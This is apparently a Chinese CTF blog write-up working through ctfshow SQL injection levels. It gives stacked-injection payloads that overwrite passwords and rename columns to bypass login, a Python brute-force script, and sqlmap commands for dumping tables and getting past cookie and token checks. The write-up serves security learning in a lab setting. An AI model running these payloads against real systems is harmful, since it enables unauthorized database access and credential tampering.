    能发现 select 这些都被过滤了 空格也没了 但是没过滤 ` ;

    所以可以考虑是否存在堆叠注入

    过滤空格我们使用``绕过

    我们先来看看数据库存在什么内容

    1. if($row[0]==$password){
    2. $ret['msg']="登陆成功 flag is $flag";
    3. }

    这提示我们需要登入 然后就给flag 我们现在其实知道账号的 admin

    然后我们这里需要通过 更新密码可以实现注入

    本地测试

    select count(*) from user where name=admin;update`user`set`passwd`=0x313131;

    然后我们去看看数据库

    发现密码全部被修改为了 111 因为我们通过 update`表`set`字段`=密码

    来修改了 所以内联注入可怕就是在 你可以和在本地执行sql一样进行任意操作(没被过滤)

    所以我们到这道题就可以进行了

    admin;update`ctfshow_user`set`pass`=222;

    但是出现问题了 这里无法成功登入 为什么呢

    我们来看看查询语句

    $sql = "select pass from ctfshow_user where username = {$username};";

    发现这里username没有被引号包裹 就类似于

    所以无法实现读取 我们只需要转变为 hex 然后数据库就会自动识别并且转为字符串 所以我们把admin变为 0x61646d696e

    然后我们再试试看

    成功查询

    然后我们就可以开始了

    payload是

    0x61646d696e;update`ctfshow_user`set`pass`=222;

    web196 通过select 实现欺骗登入

    一样查看过滤

    1. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    2. if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }

    好像还是没有过滤我们的东西

    但是这里设置了

    1. if(strlen($username)>16){
    2. $ret['msg']='用户名不能超过16个字符';
    3. die(json_encode($ret));
    4. }

    不能超过16个 然后又要进行登入

    这里就不会了

    然后看了wp 说是出现了题目出错 这里其实不是过滤select 只是写个 se1ect 但是写错了 也没加上过滤

    所以这里我们如何实现呢

    我们继续测试

    select * from test where name = 'admin';select 9;

    发现返回的是9 所以我们可以通过这个逻辑进行登入

    首先就是select 9  让pass 认为我们的密码是9

    然后在pass中输入9  即可登入成功

    web197 select tables

    继续 查看过滤

    1. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    2. $ret['msg']='用户名非法';
    3. die(json_encode($ret));
    4. }

    这里过滤了但是用户名可以很长

    这里我也不会 但是看了wp 我发现这的题目其实就一个核心

    你查询的东西 需要能返回你想要得值

    例如 select 9  和 pass=9 这样我们就可以获取到flag

    我们在数据库中 经常进入后会使用 show database; 这种指令

    这里正好 空格也放出来了 所以我们就可以使用这种方法登入

    1. username = 1;show tables;
    2. password = ctfshow_user

    web198 sql使字段的值互换

    1. //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
    2. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    3. $ret['msg']='用户名非法';
    4. die(json_encode($ret));
    5. }

     空格没被过滤

    上一题payload继续打

    然后这里在翻阅wp的时候发现了还有一种很新奇的方法

    通过转变字段实现

    这里使用的语句是

    alter table ctfshow_user change column `pass` `ppp` varchar(255)

    这里是一种修改字段值的方式 我们本地测试一下

    首先我们记住原本的模样

    然后这个时候其实就是修改字段名字

    alter table user change column `passwd` `ppp` varchar(255);

    这个时候 原本名为 passwd的字段变为了 ppp字段

    alter table user change column `id` `passwd` varchar(255);

    这个时候 我们把原本的id修改为passwd字段

    然后最后再把ppp修改为id字段

    alter table user change column `ppp` `id` varchar(255);

    这个时候我们是不是需要的是 passwd 和 name 来实现登入

    而且我们知道name 我们是不是只需要爆破 passwd的id值 id肯定为数字 大不了就从0-1000

    肯定会有的

    这样我们就实现了登入

    写一下脚本

    1. import requests
    2. url = "http://f88e8a6b-de99-4b6d-a90b-8efe9fa533c9.challenge.ctf.show/api/"
    3. for i in range(1000):
    4. if i == 0 :
    5. paylaod = {
    6. 'username':"0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` varchar(255);",
    7. 'password':i
    8. }
    9. re = requests.post(url=url,data=paylaod)
    10. data = {
    11. 'username':'0x61646d696e',
    12. 'password':i
    13. }
    14. r = requests.post(url=url, data=data)
    15. # print(r.text)
    16. if r"登陆成功" in r.json()['msg']:
    17. print(r.json()['msg'])
    18. break

    出处

    [CTFSHOW]SQL注入(WEB入门)_y4tacker ctfshow-CSDN博客

    web199 使用text 替换varchar(200)

    这里过滤了括号 所以我们可以使用text来代替

    0;alter table ctfshow_user change `username` `passwd` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passwd` `pass` text;
    

    然后我们可以使用 username = 0 passwd = userAUTO

    登入

    或者使用show tables依旧可以

    web200

    这里我们看看过滤内容

    1. if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    2. $ret['msg']='用户名非法';
    3. die(json_encode($ret));
    4. }

    发现就多了一点内容 但是影响 199的也可以继续使用

    web201 SQLMAP-- GET

    这里叫我们使用 sqlmap

    并且需要通过--referer来指定检测 我们看看不使用referer会如何

    发现是无法实现的

    这里有两个方式

    指定referer

    py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1"  --referer "ctf.show"

    第二种

    提高level

    py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1"  --level 3

     提高level的时候 就会自动进行http的测试 所以在无法实现注入的时候 可以通过 level 5 尝试

    这里我们就直接注入了

    1. py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" --tables --level 3
    2. py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" -T "ctfshow_user" --columns --level 3
    3. py3 .\sqlmap.py -u "http://50b41e16-3b03-4cfc-a025-edb290b5eee0.challenge.ctf.show/api/?id=1" -T "ctfshow_user" -C "pass" --dump --level 3

    web202  SQLMAP -- POST

    这里我有点不知道为什么 需要POST 没有提示 应该只是为了学习吧

    其实这里我比较好奇这里的后端是怎么写的 为什么可以识别出是手注

     py3 .\sqlmap.py -u "http://872c6e1d-2be9-48b4-83d3-f634c0e7e02b.challenge.ctf.show/api/"   --data "id=1" --dbs --level 3

    web203  SQLMAP -- PUT / CONTENT-TYPE

    这里我们首先进行抓包 然后提示我们是用 method 所以我们这里修改为 put(其实我不知道为什么)

    然后这里我们可以学习一个东西 如果我们想通过put 获取数据 我们需要制定 content/type

    【精选】【web】 Http请求中请求头Content-Type讲解_请求头 content-type-CSDN博客

    这里我们可以发现

    原本的内容是 表单的提交

    现在 我们需要获取数据 我们就需要  text/plain   这里应该

    这里就使用 sqlmap 来指定

    py3 .\sqlmap.py -u "http://9e044918-27ea-4835-bf60-d369eab19cb3.challenge.ctf.show/api/index.php" --headers  "Content-Type: text/plain" --method PUT  --data "id=1" --level 3

    然后就获取即可

    web204  指定cookie

    这里提示我们cookie

    所以我们看看能不能直接

    直接f12查看即可

    py3 .\sqlmap.py -u  "http://f4141708-80bd-4fb0-8903-5c11ff50a884.challenge.ctf.show/api/index.php" --headers  "Content-Type: text/plain" --method PUT  --data "id=1" --level 3 --cookie="tdf9n7i7koobo6tknorubjqfr8"

    web205 api的鉴权

    这里我们发现 请求一次查询的时候 会出现 getToken

    这里预防注入的方式其实就是 每一次执行就给一个新的token 如果这个api没被泄露 就无法实现 工具的攻击

    这里可以使用sqlmap 的两个参数

    1. --safe-url 指定注入前需要访问的页面 这里就是我们鉴权的界面
    2. --safe-freq 指定访问的次数 这里1次即可
    py3 .\sqlmap.py -u  "http://0c3cb676-6f97-4bc9-b90d-4d4a34b9d2fd.challenge.ctf.show/api/index.php" --headers  "Content-Type: text/plain" --method PUT  --data "id=1" --level 3  --safe-url="http://0c3cb676-6f97-4bc9-b90d-4d4a34b9d2fd.challenge.ctf.show/api/getToken.php" --safe-freq=1
    

    web206

    上一题 payload直接打

    py3 .\sqlmap.py -u  "http://ea1709ee-9337-452b-b66e-2709242193ef.challenge.ctf.show/api/index.php" --headers  "Content-Type: text/plain" --method PUT  --data "id=1" --level 3  --safe-url="http://ea1709ee-9337-452b-b66e-2709242193ef.challenge.ctf.show/api/getToken.php" --safe-freq=1
    

    web207 tamper

    这里开始编写tamper了

    我丢 好难!!!!

    开始学吧

  • 相关阅读:
    使用nginx+docker实现一个简单的负载均衡
    利用Seagate service获得system shell
    软件著作权的好处有哪些?软著含金量高吗?
    pta天梯赛训练 7-10 抢红包(25分)
    【JavaSE专栏90】用最简单的方法,使用 JDBC 连接 MySQL 数据库
    内网渗透之Windows反弹shell(五)
    Spring Data JPA之自动创建数据库表
    计算机基础知识——Linux命令简介
    Error: Cannot find module ‘timers/promises‘
    Ubuntu22.04下挂载共享文件夹
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/134380357